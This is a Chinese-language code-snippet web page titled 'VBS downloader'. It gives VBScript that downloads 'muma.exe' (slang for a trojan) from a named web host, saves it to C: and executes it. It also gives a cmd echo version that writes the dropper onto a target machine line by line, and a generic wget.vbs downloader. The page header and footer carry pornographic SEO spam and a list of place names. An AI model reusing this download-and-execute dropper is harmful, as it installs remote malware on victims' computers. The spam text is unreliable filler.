国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

VBS下載者(通過vbscript實現文件下載)

2019-10-26 18:07:21
字體：大 中 小
來源：轉載
供稿：網友

一、VBS下載者：

復制代碼 代碼如下:

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://www.jbzj.com/muma.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:/zl.exe",2
wscript.sleep 1000
Shell.Run ("c:/zl.exe") '延遲過后執行下載文件

二、cmd下執行的版本：

復制代碼 代碼如下:

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs
echo Post.Open "GET","http://www.jbzj.com/muma.exe",0 >>zl.vbs
echo Post.Send() >>zl.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs
echo aGet.Mode = 3 >>zl.vbs
echo aGet.Type = 1 >>zl.vbs
echo aGet.Open() >>zl.vbs
echo aGet.Write(Post.responseBody) >>zl.vbs
echo aGet.SaveToFile "c:/zl.exe",2 >>zl.vbs
echo wscript.sleep 1000 >>zl.vbs
echo Shell.Run ("c:/zl.exe") >>zl.vbs

三、wget.vbs

復制代碼 代碼如下:

on error resume next
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
iUser=LCase(Wscript.Arguments(2))
iPass=LCase(Wscript.Arguments(3))
set xPost=CreateObject("Microsoft.XMLHTTP")
if iUser="" and iPass="" then
xPost.Open "GET",iRemote,0
else
xPost.Open "GET",iRemote,0,iUser,iPass
end if
xPost.Send()
set sGet=CreateObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2

使用方法：cscript wget.vbs http://www.jbzj.com/muma.exe

您可能感興趣的文章:

支持斷點下載的VBS代碼vbs 多線程下載實現代碼VBS下載文件的新方法VBS 下載方法(CDO.MESSAGE)使用vbs下載文件的代碼加強版一個收集的下載木馬并運行的VBS代碼用ASP VBS xmlhttp adodbstream下載和保存圖片的代碼下載文件到本地運行的vbs

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表

圖片精選

主站蜘蛛池模板： 乐昌市| 武穴市| 重庆市| 延长县| 鹰潭市| 水富县| 睢宁县| 黑河市| 威海市| 景德镇市| 云安县| 沾益县| 涪陵区| 河源市| 正阳县| 无锡市| 吴忠市| 台东市| 新和县| 洞头县| 图木舒克市| 新田县| 凌源市| 昭觉县| 东辽县| 英德市| 南丹县| 田阳县| 马关县| 潜江市| 云安县| 邛崃市| 会宁县| 滦平县| 德令哈市| 波密县| 海盐县| 洛浦县| 丰城市| 永春县| 子长县|